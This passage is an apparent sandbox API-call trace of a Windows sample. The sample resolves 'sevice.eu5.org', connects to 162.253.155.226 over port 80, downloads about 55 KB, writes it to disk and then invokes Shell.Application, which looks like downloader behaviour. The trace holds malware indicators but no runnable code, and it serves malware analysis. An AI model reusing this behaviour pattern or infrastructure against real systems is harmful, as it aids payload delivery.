SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ad9c0) returned 1 [0087.505] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f18f00, cbSid=0x1c7ad9c0 | out: pSid=0x2f18f00*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ad9c0) returned 1 [0087.508] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x410 [0087.508] ioctlsocket (in: s=0x410, cmd=-2147195266, argp=0x1c7adff8 | out: argp=0x1c7adff8) returned 0 [0087.510] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x41c [0087.510] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x420 [0087.510] ioctlsocket (in: s=0x41c, cmd=-2147195266, argp=0x1c7adff8 | out: argp=0x1c7adff8) returned 0 [0087.512] WSAIoctl (in: s=0x410, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7adf70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7adf70, lpOverlapped=0x0) returned -1 [0087.512] CoTaskMemAlloc (cb=0x204) returned 0x170bd0 [0087.512] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x170bd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0087.514] CoTaskMemFree (pv=0x170bd0) [0087.514] WSAEventSelect (s=0x410, hEventObject=0x418, lNetworkEvents=512) returned 0 [0087.515] WSAIoctl (in: s=0x41c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7adf70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7adf70, lpOverlapped=0x0) returned -1 [0087.515] CoTaskMemAlloc (cb=0x204) returned 0x170bd0 [0087.515] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x170bd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0087.515] CoTaskMemFree (pv=0x170bd0) [0087.515] WSAEventSelect (s=0x41c, hEventObject=0x420, lNetworkEvents=512) returned 0 [0087.515] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x424 [0087.516] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x424, param_3=0x3) returned 0x0 [0087.521] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c7ae0b0 | out: phkResult=0x1c7ae0b0*=0x43c) returned 0x0 [0087.523] RegOpenKeyExW (in: hKey=0x43c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7adf98 | out: phkResult=0x1c7adf98*=0x440) returned 0x0 [0087.523] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x444 [0087.524] RegNotifyChangeKeyValue (hKey=0x440, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x444, fAsynchronous=1) returned 0x0 [0087.525] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7adfc0 | out: phkResult=0x1c7adfc0*=0x448) returned 0x0 [0087.525] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x44c [0087.525] RegNotifyChangeKeyValue (hKey=0x448, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x44c, fAsynchronous=1) returned 0x0 [0087.526] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7adfc0 | out: phkResult=0x1c7adfc0*=0x450) returned 0x0 [0087.526] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x454 [0087.526] RegNotifyChangeKeyValue (hKey=0x450, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x454, fAsynchronous=1) returned 0x0 [0087.526] GetCurrentProcess () returned 0xffffffffffffffff [0087.526] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7adf28 | out: TokenHandle=0x1c7adf28*=0x458) returned 1 [0087.530] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad6f8 | out: TokenHandle=0x1c7ad6f8*=0x45c) returned 1 [0087.531] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad6f8 | out: TokenHandle=0x1c7ad6f8*=0x460) returned 1 [0087.550] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c7adff8 | out: pProxyConfig=0x1c7adff8) returned 1 [0087.618] SetEvent (hEvent=0x374) returned 1 [0087.636] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c7aded0 | out: ppwstrAutoConfigUrl=0x1c7aded0*=0x0) returned 0 [0087.652] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c7aded0 | out: ppwstrAutoConfigUrl=0x1c7aded0*=0x0) returned 0 [0090.278] GetCurrentProcess () returned 0xffffffffffffffff [0090.278] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad768 | out: TokenHandle=0x1c7ad768*=0x4d4) returned 1 [0090.282] GetCurrentProcess () returned 0xffffffffffffffff [0090.282] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad768 | out: TokenHandle=0x1c7ad768*=0x4cc) returned 1 [0090.287] SetEvent (hEvent=0x374) returned 1 [0090.312] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c7adc38 | out: pFixedInfo=0x0, pOutBufLen=0x1c7adc38) returned 0x6f [0090.328] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b79ae40 [0090.328] GetNetworkParams (in: pFixedInfo=0x1b79ae40, pOutBufLen=0x1c7adc38 | out: pFixedInfo=0x1b79ae40, pOutBufLen=0x1c7adc38) returned 0x0 [0090.347] CoTaskMemAlloc (cb=0xd) returned 0x1b78b760 [0090.347] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0090.347] CoTaskMemFree (pv=0x1b78b760) [0090.350] LocalFree (hMem=0x1b79ae40) returned 0x0 [0090.385] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4dc [0090.386] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d8 [0090.389] CoTaskMemAlloc (cb=0x10) returned 0x1b78b760 [0090.390] getaddrinfo (in: pNodeName="sevice.eu5.org", pServiceName=0x0, pHints=0x1c7adbe0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c7adbd8 | out: ppResult=0x1c7adbd8*=0x1b794df0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="sevice.eu5.org", ai_addr=0x1b788250*(sa_family=2, sin_port=0x0, sin_addr="162.253.155.226"), ai_next=0x0)) returned 0 [0090.734] CoTaskMemFree (pv=0x1b78b760) [0090.734] CoTaskMemFree (pv=0x0) [0090.736] FreeAddrInfoW (pAddrInfo=0x1b794df0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="敳楶散攮㕵漮杲", ai_addr=0x1b788250*(sa_family=2, sin_port=0x0, sin_addr="162.253.155.226"), ai_next=0x0)) [0090.736] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0090.736] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d0 [0090.736] ioctlsocket (in: s=0x4e8, cmd=-2147195266, argp=0x1c7adbf8 | out: argp=0x1c7adbf8) returned 0 [0090.737] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f0 [0090.737] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f4 [0090.737] ioctlsocket (in: s=0x4f0, cmd=-2147195266, argp=0x1c7adbf8 | out: argp=0x1c7adbf8) returned 0 [0090.737] WSAIoctl (in: s=0x4e8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7adb70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7adb70, lpOverlapped=0x0) returned -1 [0090.737] CoTaskMemAlloc (cb=0x204) returned 0x171200 [0090.737] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x171200, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0090.737] CoTaskMemFree (pv=0x171200) [0090.737] WSAEventSelect (s=0x4e8, hEventObject=0x4d0, lNetworkEvents=512) returned 0 [0090.737] WSAIoctl (in: s=0x4f0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7adb70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7adb70, lpOverlapped=0x0) returned -1 [0090.738] CoTaskMemAlloc (cb=0x204) returned 0x171200 [0090.738] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x171200, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0090.738] CoTaskMemFree (pv=0x171200) [0090.738] WSAEventSelect (s=0x4f0, hEventObject=0x4f4, lNetworkEvents=512) returned 0 [0090.740] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1c7ad6c8*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1c7ad6c8*=0xbf0) returned 0x6f [0090.745] LocalAlloc (uFlags=0x0, uBytes=0xbf0) returned 0x1b7a5340 [0090.745] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1b7a5340, SizePointer=0x1c7ad6c8*=0xbf0 | out: AdapterAddresses=0x1b7a5340*(Alignment=0xe000001c0, Length=0x1c0, IfIndex=0xe, Next=0x1b7a5670, AdapterName="{89C47688-58E9-48ED-A232-2A7897FAD591}", FirstUnicastAddress=0x1b7a55c0, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x0, [1]=0x20, [2]=0xe3, [3]=0xf9, [4]=0xb8, [5]=0xf8, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0xe, ZoneIndices=([0]=0xe, [1]=0xe, [2]=0xe, [3]=0xe, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x1b7a5500*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xe8, [6]=0x2e, [7]=0xf0, [8]=0x0, [9]=0x60, [10]=0x38, [11]=0x9b, [12]=0xba, [13]=0x1, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11006038, FirstDnsSuffix=0x0), SizePointer=0x1c7ad6c8*=0xbf0) returned 0x0 [0090.755] LocalFree (hMem=0x1b7a5340) returned 0x0 [0090.756] WSAConnect (in: s=0x4dc, name=0x2f24b40*(sa_family=2, sin_port=0x50, sin_addr="162.253.155.226"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0090.933] closesocket (s=0x4d8) returned 0 [0090.954] send (s=0x4dc, buf=0x2f285e8*, len=74, flags=0) returned 74 [0090.962] setsockopt (s=0x4dc, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0090.963] recv (in: s=0x4dc, buf=0x2f21078, len=4096, flags=0 | out: buf=0x2f21078*) returned 2920 [0091.141] setsockopt (s=0x4dc, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0091.143] recv (in: s=0x4dc, buf=0x2f29bb8, len=55258, flags=0 | out: buf=0x2f29bb8*) returned 11680 [0091.146] recv (in: s=0x4dc, buf=0x2f29bb8, len=43578, flags=0 | out: buf=0x2f29bb8*) returned 2920 [0091.699] recv (in: s=0x4dc, buf=0x2f29bb8, len=40658, flags=0 | out: buf=0x2f29bb8*) returned 26280 [0091.699] WriteFile (in: hFile=0x350, lpBuffer=0x2f37e70*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c7ae1a8, lpOverlapped=0x0 | out: lpBuffer=0x2f37e70*, lpNumberOfBytesWritten=0x1c7ae1a8*=0x1000, lpOverlapped=0x0) returned 1 [0091.700] WriteFile (in: hFile=0x350, lpBuffer=0x2f2a050*, nNumberOfBytesToWrite=0x6210, lpNumberOfBytesWritten=0x1c7ae208, lpOverlapped=0x0 | out: lpBuffer=0x2f2a050*, lpNumberOfBytesWritten=0x1c7ae208*=0x6210, lpOverlapped=0x0) returned 1 [0091.701] recv (in: s=0x4dc, buf=0x2f29bb8, len=14378, flags=0 | out: buf=0x2f29bb8*) returned 1460 [0091.701] recv (in: s=0x4dc, buf=0x2f29bb8, len=12918, flags=0 | out: buf=0x2f29bb8*) returned 2920 [0091.869] WriteFile (in: hFile=0x350, lpBuffer=0x2f37e70*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c7ae1a8, lpOverlapped=0x0 | out: lpBuffer=0x2f37e70*, lpNumberOfBytesWritten=0x1c7ae1a8*=0x1000, lpOverlapped=0x0) returned 1 [0091.869] recv (in: s=0x4dc, buf=0x2f29bb8, len=9998, flags=0 | out: buf=0x2f29bb8*) returned 9998 [0091.870] SetEvent (hEvent=0x374) returned 1 [0091.887] CLSIDFromProgIDEx (in: lpszProgID="Shell.Application", lpclsid=0x1c7ae1d0 | out: lpclsid=0x1c7ae1d0*(Data1=0x13709620, Data2=0xc279, Data3=0x11ce, Data4=([0]=0xa4, [1]=0x9e, [2]=0x44, [3]=0x45, [4]=0x53, [5]=0x54, [6]=0x0, [7]=0x0))) returned 0x0 [0091.895] CoGetClassObject (in: rclsid=0x1b795238*(Data1=0x13709620, Data2=0xc279, Data3=0x11ce, Data4=([0]=0xa4, [1]=0x9e, [2]=0x44, [3]=0x45, [4]=0x53, [5]=0x54, [6]=0x0, [7]=0x0)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fee49ed250*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7adcc0 | out: ppv=0x1c7adcc0*=0x1b7ba118) returned 0x0 [0091.917] Shell:IUnknown:QueryInterface (in: This=0x1b7ba118, riid=0x7fee49ed2d0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7ad9d0 | out: ppvObject=0x1c7ad9d0*=0x0) returned 0x80004002 [0091.917] Shell:IClassFactory:CreateInstance (in: This=0x1b7ba118, pUnkOuter=0x0, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad9b8 | out: ppvObject=0x1c7ad9b8*=0x1b7b4c90) returned 0x0 [0091.918] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad8c0 | out: ppvObject=0x1c7ad8c0*=0x1b7b4c90) returned 0x0 [0091.919] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x7fee49ed850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7ad940 | out: ppvObject=0x1c7ad940*=0x0) returned 0x80004002 [0091.920] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x7fee49ed2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7ad6d8 | out: ppvObject=0x1c7ad6d8*=0x0) returned 0x80004002 [0091.920] Shell:IUnknown:AddRef (This=0x1b7b4c90) returned 0x3 [0091.920] CoGetContextToken (in: pToken=0x1c7ad590 | out: pToken=0x1c7ad590) returned 0x0 [0091.921] CoGetObjectContext (in: riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b791e28 | out: ppv=0x1b791e28*=0xf0580) returned 0x0 [0091.921] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x7fee49ed2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad550 | out: ppvObject=0x1c7ad550*=0x1b7b4b78) returned 0x0 [0091.921] Shell:IMarshal:GetUnmarshalClass (in: This=0x1b7b4b78, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7ad580 | out: pCid=0x1c7ad580*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0091.922] Shell:IUnknown:Release (This=0x1b7b4b78) returned 0x3 [0091.922] CoGetContextToken (in: pToken=0x1c7ad560 | out: pToken=0x1c7ad560) returned 0x0 [0091.923] Shell:IUnknown:AddRef (This=0x1b7b4c90) returned 0x4 [0091.923] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x7fee49ed280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad678 | out: ppvObject=0x1c7ad678*=0x1b7b4c60) returned 0x0 [0091.923] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x4 [0091.923] Shell:IRpcOptions:Query (in: This=0x1b7b4c60, pPrx=0x1b7b4c90, dwProperty=2, pdwValue=0x1c7ad6e8 | out: pdwValue=0x1c7ad6e8) returned 0x0 [0091.923] Shell:IUnknown:Release (This=0x1b7b4c60) returned 0x3 [0091.924] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x2 [0091.924] Shell:IUnknown:Release (This=0x1b7ba118) returned 0x0 [0091.924] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x1 [0091.927] CoTaskMemAlloc (cb=0x104) returned 0x1b75c9c0 [0091.927] GetEnvironmentVariableW (in: lpName="Temp", lpBuffer=0x1b75c9c0, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x24 [0091.927] CoTaskMemFree (pv=0x1b75c9c0) [0091.927] CoTaskMemAlloc (cb=0x104) returned 0x1b75c9c0 [0091.927] GetEnvironmentVariableW (in: lpName="Temp", lpBuffer=0x1b75c9c0, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x24 [0091.927] CoTaskMemFree (pv=0x1b75c9c0) [0091.929] CoTaskMemAlloc (cb=0x104) returned 0x1b75c9c0 [0091.929] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75c9c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.929] CoTaskMemFree (pv=0x1b75c9c0) [0091.929] CoGetContextToken (in: pToken=0x1c7adf50 | out: pToken=0x1c7adf50) returned 0x0 [0091.929] CoGetContextToken (in: pToken=0x1c7ade90 | out: pToken=0x1c7ade90) returned 0x0 [0091.929] Shell:IUnknown:AddRef (This=0x1b7b4c90) returned 0x2 [0091.930] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x1c7adfd0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7adfb0 | out: ppvObject=0x1c7adfb0*=0x1b7ba348) returned 0x0 [0091.934] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x2 [0091.934] Shell:IUnknown:Release (This=0x1b7ba348) returned 0x1 [0091.936] CoGetContextToken (in: pToken=0x1c7ae0e0 | out: pToken=0x1c7ae0e0) returned 0x0 [0091.936] CoGetContextToken (in: pToken=0x1c7ae020 | out: pToken=0x1c7ae020) returned 0x0 [0091.936] Shell:IUnknown:AddRef (This=0x1b7b4c90) returned 0x2 [0091.936] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x1c7ae160*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ae140 | out: ppvObject=0x1c7ae140*=0x1b7ba348) returned 0x0 [0091.936] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x2 [0091.937] Shell:IUnknown:AddRef (This=0x1b7ba348) returned 0x3 [0091.937] Shell:IDispatch:GetTypeInfo (in: This=0x1b7ba348, iTInfo=0x0, lcid=0x0, ppTInfo=0x1c7ae3e8 | out: ppTInfo=0x1c7ae3e8*=0x1b7ba7a8) returned 0x0 [0091.952] Shell:IUnknown:Release (This=0x1b7ba348) returned 0x2 [0091.952] Shell:IUnknown:QueryInterface (in: This=0x1b7ba7a8, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7adc60 | out: ppvObject=0x1c7adc60*=0x1b7b4f90) returned 0x0 [0091.952] Shell:IUnknown:QueryInterface (in: This=0x1b7b4f90, riid=0x7fee49ed850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7adce0 | out: ppvObject=0x1c7adce0*=0x0) returned 0x80004002 [0091.953] Shell:IUnknown:QueryInterface (in: This=0x1b7b4f90, riid=0x7fee49ed2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7ada78 | out: ppvObject=0x1c7ada78*=0x0) returned 0x80004002 [0091.953] Shell:IUnknown:AddRef (This=0x1b7b4f90) returned 0x3 [0091.953] CoGetContextToken (in: pToken=0x1c7ad930 | out: pToken=0x1c7ad930) returned 0x0 [0091.953] Shell:IUnknown:QueryInterface (in: This=0x1b7b4f90, riid=0x7fee49ed2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad8f0 | out: ppvObject=0x1c7ad8f0*=0x1b7b4e78) returned 0x0 [0091.954] Shell:IMarshal:GetUnmarshalClass (in: This=0x1b7b4e78, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7ad920 | out: pCid=0x1c7ad920*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0091.954] Shell:IUnknown:Release 